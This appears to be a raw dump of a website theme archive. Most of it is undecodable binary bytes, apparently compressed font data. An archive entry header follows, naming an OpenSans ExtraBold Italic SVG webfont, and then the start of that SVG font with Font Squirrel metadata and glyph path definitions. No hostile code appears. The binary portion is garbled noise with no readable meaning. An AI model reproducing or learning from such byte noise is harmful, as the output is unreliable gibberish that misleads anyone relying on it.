Y+� 	�ҹ�t�ԣ��߰�����Z/�l<�M�`�٠8*�ѴT���*
�=._�����~�f���&�;���L�'2v&��„̨	U�12���*J4��yP	4
�DL��If"A��&[�bM��'in������܈�x%�W��� Mզ�wN���4�.Ґ��m�wt�]�ZV�wOux��>�qn����N\����ŋ^&y;g�:*�1LXGP���ŌW=��$uR.���PR�A1`T���F+`���*4��КN�rOZV��0ק��2\B2�p���a���m���i۳���/�3����Էk��V���eϾpQ~��Y㏐	j���_�&�2��?�₰���=.�t�qAG|\�g,.�eU[��	W� �g6��~��sj��_�fϙK��2���c����9es�K�3�7�����{���j�iy��J�ie�i�h�*�&��D�D���s6����IG�m!kBJP�SZ u�eE�M��ɊGu~J|2�a��=g�m�#�͍n�Lqr�GÓߩ�7{�s��Kdƙ�_Nf]��bm��G�|��v/\�+�Ce]\�sS�R:!��LS�)����$Uj`u *��4%$D�&͌KJpS���$;�*	j��P�J� E�I�zf�{}:�'Jf_�(�j�O;�+7���
�'ow��q����S��M*�m��}[W���勊�B]�";�u����1�t�~X�W�����B<��k�� :�+�:A���eԠO/�8��n�U5BX�1b<��[�Iq�TT7�	�5Fw
u�_�h
F�'9%>�Wb�a���	�Mr`8�-6�)�)(�ןU�[��&̌@��~]�}��/O[~�)xf祙�������]���{�^r�{�������c�O�V?��Z��\47�F����;3E��_L(���		H�2-�e�!+��G���9�3�aR�灓��$^íaX�r���e����a?�����*�^�ٲT�h@[����m	gfx�!��%��32���;
�SUrA����t�
㷇�ɉe����QIG�+�<F��׃6I�W,�K&�,��I�qWy�rp��0:���
o����>���-O��uO���O�N�$}�y�$�����g�?�>���|a�O����'T�\���5�}0goq^e����;�\qޛX:��/�E#�R�V����8�}�ꖖ�
Ik9�]w��>v��Q[�=��)tO�G?��+5!�Qt���2MI���[݀������Ռ��CV�9MCt��0(�ӫ�^���T�����EM�T�_"�.�6*��#���4%n�I�D[A���a+�+:-��b%�WǡA�{}y)��/�X�ٓ;����������:G�}�ج�s�<XZ}Z��M��v,��)9W��~l��3�V��Ƣ�,E6�u�=�E�X�Q�
����ݭ��ЛĢ_�3��|,��;����[T?�k��k'4S{
�P2��ʲ�d�`>f�:5L��P�B=���P�_��wFD���H�i�Oc�oQ|X�z�$��I��������$����H�U-�}Ҳܯwm>�����bvlY`쀮9=A�\�?��~�)��D]�� Ȧd���Ue�h��i��0bh-������&@C�����)�YQ�,xuS�:LX�BeLŸt��u�X�P�	IcV���xX:.H��v�Y�r>�}�=���6Xs=�$wkkdͫ����n�6q�*5��3�ݭ��_=<f%��p0F2�d�a�I�-������2-*bsfz�Y
�N$�h
H���(��]�󻪟o�(Ci�0��8�6PN["��F�4/���Q�U�
bV���ⓑ��k,�OsU�L/�y���o4aB�]���\�r�M6:�Ķ���s�m��o�n�&.Zeҏ=3��ѽ��gŰQ��g����1O���䇜_^���ڕ?0pA�T���K��K?�&�q���'�옞:&1���h��SQIT�v�h�+�~6�"�,F�>_Z?�)*���`,R��"Z���4�D��MD��AHH$'&�p��w �ʹ���Z�ݳ1x�n��U3kGΤK����?��"v��O��v�mG�5��Хt�*��c:�Y��'�ve�k����-�?Z���Ф�{�0��z����)9��W�m�F,/,ټC������/�@���
�Ѫ�8{Q`�rR����A�L�f�J����n4�i��֒�A���C�
���r�r
wpO������Fp�No��?�N����s	���Pd����/�'�{kƄ��	2�
��Q���>�q}��Q���"��[���V=F8��X쒈C6Ђ��D�_n�	��-�����=ys�e@�,�i讟�4�ѧ��'��r~�L��L��>3�WM>�&�����_� Y��Y��|Y�;\5���:�$Y ��
M�}J?�F�UN�̦��3��Qo��ΪXLȇL�ݿ"Щ��=O-O�$|ʝݬ�,+>|@6*:Q~�@�O'f�E�)V���4{Q��:E�I9��(	,:�q�((yc�Œ�}��j�#_���h~vn�rsh��M�� D�A*��?h�����{�\>i��N*����z��R0cDp���N}�a���U���w���'^�L��-��f ���IN\�U���|��F�Zȑ�=�lAJ��J]c�h$=&�y��&�
I��IV��[�m����(�G6��m\����˵U%Ğ,_o�ݳ���
�:�ݡ#��^�vp\�^}������ǰ`=�����q���P�|�����������)�V��-��p'�����`cËp�����<��L?5�xo���"��#����y kơ�4��U�)�o�R��=�6����+>�G>�v�|mU#�-������b����=�U���
�i<��pY���'��I_�C���j��N�v��x
�}-�#��~*�Wc�bB�2#�g��G{�;���Y�ա��a�1y��t��.�HHF�VU�)�b��4wv%�ݏ�����	$�9[�jSsH�^��
�wʟ��u�}՚�lM۱Ó���%v����#�X�*f٠�4�R���!N8Jv�82�|�cd�9x�p�|�-b��D��m��<��t����&�"h;�N��k$�|���A��A�DL��
�g�g�΂�Eq�[���)~��0�C�NB>��|����h�9�a~B�g��)����|�!�K�9�y�p�j�9�/c�"g�)��a�eo
�5�m<�H����>z�t-�S�|��k��\��Rmh����9�f��_̹$fJN{$��A��L3䇓�9�E� e^��┧j�g[�S�������~	�>���a�r�x��N8·��G~���|0o�;k�)3�����u�.hw�c�Ƥ�6*ȩp��l�O�5$:)%}�.K��ʸ��'��\��+%�=S2�mv�z�yoƜ���k�w�	C��l���f�,�y\5����C�ɯ�^e���3�ޝ�zl�����۞qm�q�4Y`S����0��O�U[�Ʀ5ʂ���ue?ȧ�Ӕ7�) o�F�'̘�^NWyc��Q�pB��ᱷ���ՠ���sB�g�
v~	�R�̩�O�%��Yx
�Kq�7C0�w��s�ْ���k���#J�%�sR>=C�E�����%E@�"�
�(�*;�ɰ%Վ!Ik��e/����j�򘫇pѻ|�{@�C�-�CƑ�Z���s}�|x[VQ��s�u�����[�V�'�R}��������e/1B �G��]�=�b�ě��7�u����̫T�;D}&�𦫠$�t��7o�1��N�1�bŽ�)Є���;?B0�w6pG5:�#*�:�`s8;ևӜK�Z3�Q@G1��Υg�K��V,[6���>0cː�Cn�н����=?-;%��d�offb`�V����A���oҩ����4����`���J�Q�j¼���Q�����{���{�}��>�g��I��`��4�t�c%_RLDϤ��)%6�ě�-�R�tS	��cQd�	%Ӧ��RP��f�S��Dʣ���nA��$�d��?�|�7��Bp�����x]RjLv5�J�Y�~VB�ѭ�T|-��pL�E�䋺?o���^^埿ྗ�<�l����ɫ�p3;�eR����aC�M=�Ƞv[��ͥ���Y�)v0vp��]�Оl�}I�R����h#PNg�&�B�M���C	�p���׷Hn�U�F�a�Sq��Vv7旹��1aNosG7�No�����	Z*��Q���	`�:�^��0��(�:Oʅ"�;����L?��|ۃV����F�{|%��wc���֑�d�؆��O�}R�!/�����zX{.��Q�\6�]�_�0(�.	ԝS��5<G�^�����xR�g�¬Vp���:�%A�0k�*8�B�-l�(o��a���ǩăH�ģC_=�zu�.�8��O���x������M���Y^U7�n�~�gWo�V=k��/�O��^��o���������%N[��t��ifB.5��,���̢�b��.,l�58��#<q	�y�_t]B��;]`t`��Lr�*�~�+Ș��	-�Ʉuq���	To%(N�8�g��ᎉ���۔#'#`Ce#��(	(@��
�I]��ʟ�}q�0�敶o��*_���4����^�ذ��c鑿��O��pl���1i��.�|!���Z�D6_�6���$]�7��_�B�3�p_k�-�b�2�|�	�rHr���
�e�f��\�V7��`��/�N��@��S\D)��6%�*�٤���3`;�2rP�:��Lt��1�v��<���kN��ۨ6_P�H�s�)�6V�k%}z==�a��Y�����W,ڱl���kfT�\�p�W�w��Q9e���s�vdu�����5N{w�}W�Uѣ�Wב3ʦ�5xٞ繌A�˺����ɫ����r���q1E���J�~Y�z�P�x"�F9�<4-	���n�%�*�'��'�z��MU����vV~�o|���"��bf�r�.9��L@m��g�O{�#M���ևȷ���	J�%A�
˷��)��&��n��&�c]��O�ew��5�T�:ێ�3����#�]̎�Ӫ&ޗՉ-q�y�؂턙��,��ō����"�W~��{�7�#ݎ#]^<&_�ɗ^$�?�����s��6<p�����߲�����k��s�	g_�?x��տ<�����(:�����W�:���G8'gּ����P:Q����c.����M�8ʮ&�B�L�4�&�Rq�F[�M<pD�LF�K�-f5����h�A,��R=r�)�s��c'Z��3��1}QU�����Z˫gOh�]�k؊U�U��Ҋ���3����k�����Dq�����壋��c�-b��ȲQ�	��٘AvV���=��.�$F�t�V,F;]��F3P�D8�c7]����V��y�m��=v�����;�q7�EO�J��*��U	u-�u�l�WؔUD_��G���$�������e�o�����t��L��;+&N��b�{W�>����#9�D)��<RP��4��?�_?�䔻��ޢ�oL�5�*�m{���>0b�O�#S������>~�u���y���\���9|Z�ҽq���
>����t�ܺ�ɂ.��dQ�k�ȶI'0s��Tr�^\�G,�
[��a���ɿ|��;��9�n]Ӣ���\�dt�2~��'`����\Z3rtM
��z����i*�#F��M,�
�!^C��j@��F�t�[/����w	Y�����1���͊���Tڔ�rJ�n{�̝�6mٸ�]��<,��H۶f*;��	0�k-h��\:�TQ{I�	�0Q��v{��PC[Hk�i�bCGI�ZGkX�@����_2�si�	s���_;g매1�6������*'�\4y�ӵ�,�9-���O�SV��pN�>5p05Lc�*�%�KR:l�tAL�H��-~)Q��rF⼊1��$��-��<��)���(�q�6�3W*���k_MpO����Ϭ�%�Z|�{#�Բ���p��}�
�4��)MżmVŃ�)�g����I��10�i?^�93F�� y&����;�����c���_����)}_�����b��d.?�If�W�r��N=*�Xs ������ �@K�6z΃�G{��*5@J:V\2�&�k^Cp��&�s�GKو�S9gE�ʍ�0�pK�b�@��]�*K��!��e�6�\>��'���e�y&Ҙh��Tu_�`�������/��I��k'.���:�Q�ꐷ��|3`�f8"L 
�5�[x5¾��^c)M�
D���t���	�ME�*�!pc���_�n�?\R:����jk�����An�`�����A�ؘ:���zce'��٘�#h`E�Nm�/m�.���Dӳj�0GE6'�$���#9��F�9�ߺ
y��z킂|}�ʜ��e���>�L�E0��#���y���r(�XE]/��K����'���O�@ ��<�,��;,�,;���$oR�

�|}k��*)$������<�!
�A4Cu�V�D���ȕ����c8&���5�q�}�1��׬��,Z�hx��
�j����<���6��u���Ћ��=���;��•8\$[��!�},o!�H��Ey�[��T�2䅃���P�-Mޤ�5�hFk��\�+��a�f�9���쬶��rx� �����<__�������y^��\y�
��������uy{�O���˄�@4��� ����a�[[ؔ��}t��\��X�T��	%1O��YX��L��P�(Y�>[��*g,�#���J�iaq��"D6�|�Q��K�<5{j���	g�nf���bl�1b�˫��x����vL�Ȩ���Y~��)����qC���-��0�����V��_�l����?˔��7��w����|]vl|n�d�轁a���Z7�S�zX�+�v`%�\v�`ƚY[@�Z��M�9Vb���j���>K}t3�57�!��ۓo.����ۏ�{	�͖�r?%k�Wu�ux
���-�pG�m�g�Bj�K�bo[F�<L���'K����ػ��G�6����Xs4ȡ4X��8�զ4������˘�[��eōg��U����Q�]�����\y����;Ǎ��Qϣ�W���(#���CԺ}̇ث��ah�jVs<�HCL�a�X�%چ���?ʾ��b�}�>+��#H�~�fӓ�
&7�h���)x�^b9���I���q�LF8p�e�y$��
���C2wm������/�6XH�y�fv�.vw��A6*�ڮ�<�5�t?�P��S��:HJ�B��L�-Ǘ�-��2ƍ�c��0_Ǎg���2�Os���~�3&�h �H.9\E�Ȁ��)R>M~Un�J����r)�*��_�J��3pQ�j.�qTӬ�ig�<�u�`kb����;�Ɩ�DODL���`F>8�~{h���F�ۙ�U�%-��a
-��t�qb��<�+����$�H-�/�`�'��/W�pz�;Ԝ����b)��[��{!���`��<��	۞��a�=����Q�����Ђ��ࡉ'JO�K�A��gk�O�v�?'�i;7�B��C~�:3ʇ^*��Sz�<���n9~�97��˜�㴎�������н�{x4����B�^�uR1Yh!�	v碷\{M�� �Nmj���呰�83bP�Z��eV��,��qY��qL�ܪJ�H�?�OȧU����G��4�`^{�
���b��vb4��xmӟyY���ݏ�4S�u����/�_���悉:�	(Y�����0�m1m�\,S�"�v\�-LX�
�Vr��wC��m�P��3�X�l��ӯ�J��V�?(�`�&�Z�Ѽgsb:��Di!�� a`��I*�шd�Uz���@R��o0�
o�!��:s��˨GL��||��I����v����.�TY�5������u>�@E�|�=e�&띳�j���s�^�Y�.��ۃ�����\ګ�bAߢ��+z��]6����#4�d���h� cAƴ������?��qͧ��w�������?�>6���}���D��r셌�E��(���|���$.���`���)��a� J���S
P��f)86Kɇ�i ���|�"du�-�)��ٛu��Iu�MJIE]T��I��8�8j*;sۋ����:��ts2��E�$Q�ӋO��n���غi��\Ӏ��/.�.������JV�<8������5e�#G�
����{�.�`_���_��ל"Cf�zڔ��=���|�����GV6^|p��#���D�욽���sk�+U���Z�� o��(�&��!�\<��}�����q�g�o��_��;e�l�o�Ϩxcft��[���c�oƍ��?M���ϕ?�1�	 _���`�
��3x�N )�J[u���~*%^���i"��m��^��8o�}ۙF��;acF}���K�!�䖀W�dS�C�{�
iV݄����O;t������)���q#7�W��/]���C��-����O�����~��y�z�Ԍ�mNÒk[��5o�����|�G��������m��߼Qz���Q:�V�����˂�?�}�x}�2��6���ܿ*�����{��4�?	�����MmA��fU|�KbB!���B<~�v���`l�uܞ�7��۳g�۸i��������_�K��̡ߍ&���V1��e�c�"0�!4�8Ũ�kq;h�g�����n�^G�.Tٶ��N�WE�=d@�b��vA�3���81[��\�LQ4�T�)���Q�-�H����s׶��s��6�s�UU6V[\5����3g??Ţ]?��2BX?�~�ӯ�G^���|;����&���n�	{h��As�(��+�~L����˪o=~�7N����e踒�E�?Qy��J_E�?�u����Q�S�e�^�:,z46��A��:2ԺƜX��'���h�+JŁ�V�Ы�!�v�;� �DX7�+3!�N	�y����
�'�Yt��Kٚҡ~�#V{s��Vws~�xxJg�a�8�S��v���Y��zF|``m���<k|�99>I9J[Js��s�������(��I��
���]��%�sE���{ċ���f�ZwD[?k�nJH(��4-��F>VC��j��4��I0ƙ�|���:���Z-b��0��v�`�XSR�\0���H?�-.Ρ�F���8ڻ�칋}+�z�m?,a�2�&��TۋT�4|I{{��i;��"~�[�+���7���z1��P2�;#��bv��2)~-.l��H�Q9�Zd#W`;�="ڔ�m�S9�����4gQ��b��~��T��2+g���(�Œ'5�E�l���6�ns2=�Pv�q_ `��N�8��}���O�/�����o��A�ulŅ�'>:�f�tn���Ǧr	���Pv[��d�i2B�b��u+_: ��o��_ܻ�����ۈi�C���V-�^�j�GɎ�(s1.������I�k�O���p<�<j2(_l#�&݌gU�������(޼u�g_�=]f�����P�;�����bX6>�Sm=��@/��/%hi9
��4+�\;�@m{�n�0/=}�0IK#���'6w͔��VL����O�@YY�G�����S�/]RUܯ_qQ)=G#��Ǽ_�)�
�i�q1�u���^,T]�&�25�@n2)S�`R����B�ˆ=P��"��/����Be���\��5�<���η��5��?&l��N�eٗ��f��e������ִ�E��m���J�/�SW�����7��Ӭ>�ߚva�v�.�Ŏ��:Z���)���,?�}N-<�L{BD�è������;�_X�P�)}�M�Ӥ�y�=7�_}����V�uY	)�M`�)�ؗͅ��W��aq��ʖ�y�E���.r�*j?`�\]kB�٦��`QOw��6�J�t�\t�?kR_5Nn��|-����گ�}���¤�߬�A4��\]}@y�J����0E�҂�=� GϦȷ�V.�]�*�� |W�!�]��oo��8y�wOb�n=Z5qch:�N�7��1�B.cc���x;��6*�El7��f�d��.[�1��4�f�����a��o�Hz��5���4�o�V��Ò�G�U^����ʷ��؋��I@��������{�L��	�Ld���iN1FF`6����tS�ɤS�wC���}�
KlʗT�lk�x�p-a^�qY^o����@�s�m�8T`b�9��7�����&z�
+���u��~Q�rN�3�mjΝ�!�C;-��L{Y�.��۲��T�;��YF��(c�*�&�������V6�Җ1R+���u4�:-K���Č�$`֦�fmZ�Prq��$`gb=0g�^�Asۏ�O٫w�Nyj�x��M�*-{��ɑdy��Dj���$ouC���Eȕu�c��$�xd�ٷn��Nn,�އ��e��[�~��E�f2�P�c�_(��4�|�!?��:1�����"!�6Z����-f9hT�X�g�� [���R`����OՅ�Zb�`Ơ�g	�D�]��,��J�`S��#+y�[S_����m��9��b�l�6?96�{��ln�
y4�<�����ڼ6/?�����$)��h3�f(���u�q1n|$�3��i3�~�m�p��	�"ƻ-��/v`y�XX(�˼d�@.��{!mJN��_�_�W�h�WDK:4��Ԯ�b�i� �Y���h��e$�)h}�_,�$��t� ���m9���Ĉ4��-z�'KW��S�]$�I-R�n��I�|yS��^B���
7EB8�(	n��.��<��x1�w��-2^��I�]�zŪ��WFbRvN^���^���<�R�ԬL���;���H�0�"�a�)�1l&�?���ܺ�F��v���X�uY�A�o�v��)�ہy�:u����'����\ܯx���/��)��9��v�)���KWw��1�C��Yk�W��]�K��i�rY�P<T-�g���Qd����H�������fy*��<E��wb�v���RA����Z���T�1*T��ڥ��̬v�b���_��n����V^����2��x�c`d```��5���D<��Wy8Ͷ,F���'���^���@L�fx�c`d`�����}�?�2�)���-��x�m�1H[Q��w�yW)��'����H@��NR$�2�	""%q�""݂�PB�P��P�A$�Rĥ��C��"���Km������s���J��cd�<@��p&���n�0�項3��S��9)�sk�O�k�0n����0�B
�u���'�d�4I��|�w{�XS�E�\%Y�[r��4Q
�1dl���Ed���
��ȸ}̅5�Uy�<�m�	����$������;�В��e���Q�2�G6�g�dR����0i_G��W�ﺏ���7�J�k`��	������&�E�,�}��#��b����'�?7LjK���c��/�z�8>�����{�1#��뗂#Wǖi�a?`^���p��E��L9�ʳKß�Sh�ߍ`�gL'0�-꬏��(�i7�g�诣�߁����O�C�*}��m�,�U����zƾ!�8�^���|�=_���m��L���Ꙫ��NQu��}��WR3	�},7j�@�L��%�B}�9���hb<ȢL*�}��2���k�.��֚̓X0�}�k��,��
��#���?Hb>��'E�	x�c``0���Y�%L�*��/0�a�`�a�c�r��+k��lil�=��?�H���ƙ��ù�K��	��>�8�u<�x�x����m�{���N�E`� �`��!)�:���Q���H�x�t��#�$�&zJLH�N�x�D��I�yR<RRO�c�����4ɜ�5��%�C�Fn��-y3�	#�+�Q@ا���FYEy��9��e���T���Q�RۢvN]J=C}������5M)M��5�ߴ��������viӺ�uO��7m&�
��	�s�Who�>�}F����4�"�:�.�i:�t��\�Ӎ�M�-ҭ�����Ao��	�+z����ߠ�G�����o�����0Xb��`��	�+�b���0�bx��Q�Q��
c��wL�L"L�L�21�3
2�0�ez�􇙊Y�Y6�-3�f��\�|��.1%��~՞ �M9|x�m�MjA�?�		�WYI@�
	�+J�3:��8�D]{O��Kd�x��Q�꽮��<3�H�����*��e��p����#��x�D��ǿ,��Μ�b��3�rL�<���V�,k���hӤ�hxԢ�jW�D��|o©�:�D���B���K��n1Fl�io�]��5w����f�Fsn�\��w��6�;���Q��U�N���{D��Q6s{u��_����m/p���G�G=x�m�GlSa��Ӵiӽw�{���4-;�	{�M�MF)aO��@H�@� �����F�3[
Wx��a��>X��
�4�"�⇙������xp�Hɤ�J�d�I��K�PHŔЌ洠%�hM�Ҏ�t�#��L��

n<�⥌r�Ӄ��7}�?�� @��` ���2��`$���2��L`"����2��̠Rlf=��^>���lcG9"1l�=��#v�e�ı�[|�9�/��!Np���d&��E��x�#���^�眢����5/yE-_��ff�K�g��@��,b1_X�2������2Y�*ְ�o���Ӝ�*o��;��qJ�$I��H��I�dH�dI6g9�E.q��\��8.9��&�$W�$��R �R$�R�օ5ͧ)+,��ҥ�(˛44MS�JC�R��e�ҫ,S�����\]w��5�HuUeC��2����mD#�ME@��[��J��G%��x�Eν�P�\����ܠ1Bgn�t�F����Z��Y6*��uu��9�W�<�83rY!�9/R[ej�3�K��G�ZgYqB��R5N.֣�>��=�*��	��1��!��
���'7��`�q��_j�7�j��L�؄�ɣf��R�M0�kF������F �kv��J�vF?�$��J^�PK!tv������Dbluetheme/assets/fonts/OpenSans/OpenSans-ExtraBoldItalic-webfont.svgnu&1i�<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>
This is a custom SVG webfont generated by Font Squirrel.
Copyright   : Digitized data copyright  20102011 Google Corporation
Foundry     : Ascender Corporation
Foundry URL : httpwwwascendercorpcom
</metadata>
<defs>
<font id="OpenSansExtraboldItalic" horiz-adv-x="1243" >
<font-face units-per-em="2048" ascent="1638" descent="-410" />
<missing-glyph horiz-adv-x="532" />
<glyph unicode=" "  horiz-adv-x="532" />
<glyph unicode="&#x09;" horiz-adv-x="532" />
<glyph unicode="&#xa0;" horiz-adv-x="532" />
<glyph unicode="!" horiz-adv-x="623" d="M12 127q0 107 65 170t179 63q87 0 133.5 -40.5t46.5 -114.5q0 -110 -63.5 -170t-173.5 -60q-88 0 -137.5 38.5t-49.5 113.5zM125 516l156 946h426l-254 -946h-328z" />
<glyph unicode="&#x22;" horiz-adv-x="930" d="M182 934l72 528h342l-158 -528h-256zM623 934l73 528h342l-157 -528h-258z" />
<glyph unicode="#" horiz-adv-x="1323" d="M14 393l21 238h266l57 200h-235l20 242h285l111 389h270l-111 -389h168l111 389h270l-110 -389h221l-21 -242h-270l-57 -200h243l-20 -238h-293l-111 -393h-270l113 393h-168l-113 -393h-270l112 393h-219zM571 631h168l58 200h-168z" />
<glyph unicode="$" horiz-adv-x="1188" d="M61 162v311q126 -59 228 -86t203 -27q174 0 174 105q0 40 -32.5 72.5t-139.5 83.5q-139 62 -214 160t-75 227q0 176 133.5 288t357.5 127l29 133h168l-31 -137q161 -15 314 -90l-140 -270q-158 71 -295 71q-66 0 -103.5 -28t-37.5 -68q0 -53 39 -89.5t158 -94.5 q140 -68 205 -155.5t65 -213.5q0 -178 -133 -290t-361 -125l-38 -187h-168l41 191q-221 16 -347 92z" />
<glyph unicode="%" horiz-adv-x="1878" d="M80 887q0 173 54 309.5t154.5 211.5t237.5 75q147 0 231.5 -85t84.5 -237q0 -165 -56.5 -303t-158 -215.5t-230.5 -77.5q-159 0 -238 83.5t-79 238.5zM252 0l1089 1462h289l-1081 -1462h-297zM371 891q0 -84 53 -84q52 0 89.5 110.5t37.5 239.5q0 43 -12 63.5t-41 20.5 q-50 0 -88.5 -110t-38.5 -240zM1057 301q0 173 54 309.5t154.5 211.5t237.5 75q147 0 231.5 -85t84.5 -237q0 -164 -56 -302t-158 -215.5t-231 -77.5q-159 0 -238 83t-79 238zM1348 305q0 -84 53 -84q52 0 89.5 110.5t37.5 239.5q0 44 -12 64t-41 20q-50 0 -88.5 -110 t-38.5 -240z" />
<glyph unicode="&#x26;" horiz-adv-x="1501" d="M8 385q0 159 87.5 264.5t271.5 165.5q-37 46 -60.5 118.5t-23.5 131.5q0 197 126 308.5t355 111.5q189 0 302.5 -88t113.5 -236q0 -130 -80 -233t-262 -197l129 -186q36 36 75.5 114.5t63.5 161.5h383q-46 -161 -128.5 -305.5t-189.5 -253.5l191 -262h-442l-43 61 q-155 -81 -349 -81q-244 0 -382 106.5t-138 298.5zM399 424q0 -62 47.5 -99.5t124.5 -37.5t138 26l-193 279q-117 -52 -117 -168zM635 1092q0 -76 51 -144q72 31 106.5 79.5t34.5 107.5q0 35 -22 60.5t-60 25.5q-49 0 -79.5 -34.5t-30.5 -94.5z" />
<glyph unicode="'" horiz-adv-x="487" d="M182 934l72 528h342l-158 -528h-256z" />
<glyph unicode="(" horiz-adv-x="766" d="M68 326q0 330 124.5 619t387.5 558h323q-260 -281 -384 -576t-124 -618q0 -150 32.5 -326t84.5 -307h-293q-67 120 -109 299t-42 351zM720 1485z" />
<glyph unicode=")" horiz-adv-x="766" d="M-133 -324q256 277 378 571.5t122 622.5q0 150 -32.5 322.5t-86.5 310.5h295q71 -124 111 -298t40 -351q0 -341 -123 -628t-378 -550h-326zM420 1485z" />
<glyph unicode="*" horiz-adv-x="1110" d="M152 1108l100 278l319 -165l31 350l307 -62l-116 -331l368 30l-22 -301l-310 41l148 -311l-285 -86l-80 303l-166 -244l-249 185l254 229z" />
<glyph unicode="+" horiz-adv-x="1159" d="M102 586v272h353v352h270v-352h352v-272h-352v-348h-270v348h-353z" />
<glyph unicode="," horiz-adv-x="627" d="M-104 -264q53 121 147 387l41 115h348l8 -23q-116 -262 -256 -479h-288z" />
<glyph unicode="-" horiz-adv-x="674" d="M23 393l63 312h553l-64 -312h-552z" />
<glyph unicode="." horiz-adv-x="627" d="M0 127q0 109 65 171t179 62q84 0 132 -40t48 -115q0 -118 -60 -174t-190 -56q-78 0 -126 37t-48 115z" />
<glyph unicode="/" horiz-adv-x="956" d="M-90 -20l838 1503h344l-838 -1503h-344z" />
<glyph unicode="0" horiz-adv-x="1188" d="M63 465q0 295 85 533.5t235 362.5t348 124q135 0 230.5 -62.5t145.5 -174.5t50 -265q0 -298 -85 -529.5t-235 -352.5t-348 -121q-210 0 -318 126t-108 359zM453 457q0 -84 15 -123t60 -39q58 0 111.5 94.5t91 265.5t37.5 336q0 85 -18.5 131.5t-63.5 46.5 q-55 0 -110 -111t-89 -282t-34 -319z" />
<glyph unicode="1" horiz-adv-x="1188" d="M150 1079l620 383h311l-307 -1462h-389l174 799q28 132 76 256q-78 -68 -131 -103l-203 -125z" />
<glyph unicode="2" horiz-adv-x="1188" d="M-57 0l53 256l483 436q248 221 248 361q0 49 -26 73.5t-66 24.5q-120 0 -281 -147l-186 258q234 221 541 221q183 0 295 -99.5t112 -269.5q0 -152 -87 -285t-298 -315l-205 -176v-12h490l-68 -326h-1005z" />
<glyph unicode="3" horiz-adv-x="1188" d="M14 59v332q167 -100 377 -100q138 0 206.5 46.5t68.5 133.5q0 54 -27 81t-86 39.5t-166 12.5h-84l53 291h78q147 0 229 46.5t82 127.5q0 46 -36 74t-99 28q-117 0 -270 -84l-158 248q126 81 243.5 114.5t258.5 33.5q201 0 321.5 -93t120.5 -253q0 -148 -89.5 -245 t-252.5 -130v-8q129 -25 202 -111.5t73 -212.5q0 -216 -178 -333t-482 -117q-116 0 -217.5 20.5t-167.5 58.5z" />
<glyph unicode="4" horiz-adv-x="1188" d="M-10 283l51 256l762 923h360l-186 -884h149l-61 -295h-150l-59 -283h-377l60 283h-549zM391 578h209l49 194q29 107 60 211h-9q-51 -97 -114 -172z" />
<glyph unicode="5" horiz-adv-x="1188" d="M20 63v324q79 -45 181 -70.5t184 -25.5q277 0 277 192q0 76 -50.5 123t-136.5 47q-53 0 -111 -10t-92 -22l-122 92l215 749h813l-68 -323h-471l-59 -185q35 4 75 4q181 0 293.5 -117.5t112.5 -316.5q0 -261 -161 -402.5t-466 -141.5q-129 0 -244.5 22t-169.5 61z" />
<glyph unicode="6" horiz-adv-x="1188" d="M78 471q0 105 26 254q85 392 298.5 575t568.5 183q102 0 233 -31l-63 -303q-95 25 -183 25q-145 0 -237 -34t-151.5 -108.5t-106.5 -224.5h8q106 170 307 170q160 0 244 -103t84 -299q0 -175 -68.5 -311.5t-197 -210t-297.5 -73.5q-225 0 -345 124t-120 367zM463 420 q0 -66 26.5 -99.5t71.5 -33.5q66 0 109 76.5t43 181.5q0 129 -92 129q-68 0 -113 -73t-45 -181z" />
<glyph unicode="7" horiz-adv-x="1188" d="M35 0l717 1135h-574l70 327h1030l-51 -231l-744 -1231h-448z" />
<glyph unicode="8" horiz-adv-x="1188" d="M49 338q0 301 332 418q-156 121 -156 309q0 121 60.5 216.5t174 149.5t265.5 54q200 0 316 -92.5t116 -241.5q0 -128 -77.5 -228.5t-202.5 -140.5q92 -71 140 -158t48 -204q0 -206 -141 -323t-387 -117q-225 0 -356.5 99t-131.5 259zM414 385q0 -54 36.5 -88.5 t96.5 -34.5q70 0 112.5 42t42.5 110q0 115 -118 194q-170 -90 -170 -223zM588 1065q0 -38 23.5 -77t62.5 -58q58 22 92.5 71t34.5 103q0 49 -28.5 73.5t-65.5 24.5q-48 0 -83.5 -39.5t-35.5 -97.5z" />
<glyph unicode="9" horiz-adv-x="1188" d="M106 10v314q92 -37 203 -37q187 0 291.5 87t144.5 281h-8q-59 -95 -132 -134.5t-169 -39.5q-151 0 -239 110t-88 296q0 176 65.5 310.5t190 210t297.5 75.5q230 0 352.5 -137.5t122.5 -393.5q0 -293 -103 -519.5t-285.5 -339.5t-431.5 -113q-115 0 -211 30zM502 932 q0 -144 92 -144q74 0 125 70.5t51 171.5q0 66 -27.5 106t-70.5 40q-73 0 -121.5 -71t-48.5 -173z" />
<glyph unicode=":" horiz-adv-x="627" d="M0 127q0 109 65 171t179 62q84 0 132 -40t48 -115q0 -118 -60 -174t-190 -56q-78 0 -126 37t-48 115zM195 915q0 110 65 171t176 61q82 0 132 -37.5t50 -116.5q0 -119 -59 -175t-190 -56q-79 0 -126.5 37.5t-47.5 115.5z" />
<glyph unicode=";" horiz-adv-x="627" d="M-117 -264q65 147 148 387l41 115h348l8 -23q-116 -262 -256 -479h-289zM195 915q0 110 65 171t176 61q82 0 132 -37.5t50 -116.5q0 -119 -59 -175t-190 -56q-79 0 -126.5 37.5t-47.5 115.5z" />
<glyph unicode="&#x3c;" horiz-adv-x="1159" d="M88 627v172l973 508v-299l-576 -283l576 -252v-297z" />
<glyph unicode="=" horiz-adv-x="1159" d="M102 399v271h975v-271h-975zM102 774v266h975v-266h-975z" />
<glyph unicode="&#x3e;" horiz-adv-x="1159" d="M109 176v297l575 252l-575 283v299l972 -508v-172z" />
<glyph unicode="?" horiz-adv-x="999" d="M162 1348q231 135 461 135q201 0 319.5 -90t118.5 -248q0 -89 -27.5 -156t-79 -120.5t-170.5 -125.5q-100 -60 -142.5 -100t-55.5 -84l-15 -43h-315l12 64q15 80 42 138t71 104t141 110q89 58 125.5 95t36.5 77q0 70 -90 70q-126 0 -313 -109zM176 127q0 107 65 170 t179 63q87 0 133.5 -40.5t46.5 -114.5q0 -110 -63.5 -170t-174.5 -60q-87 0 -136.5 39t-49.5 113z" />
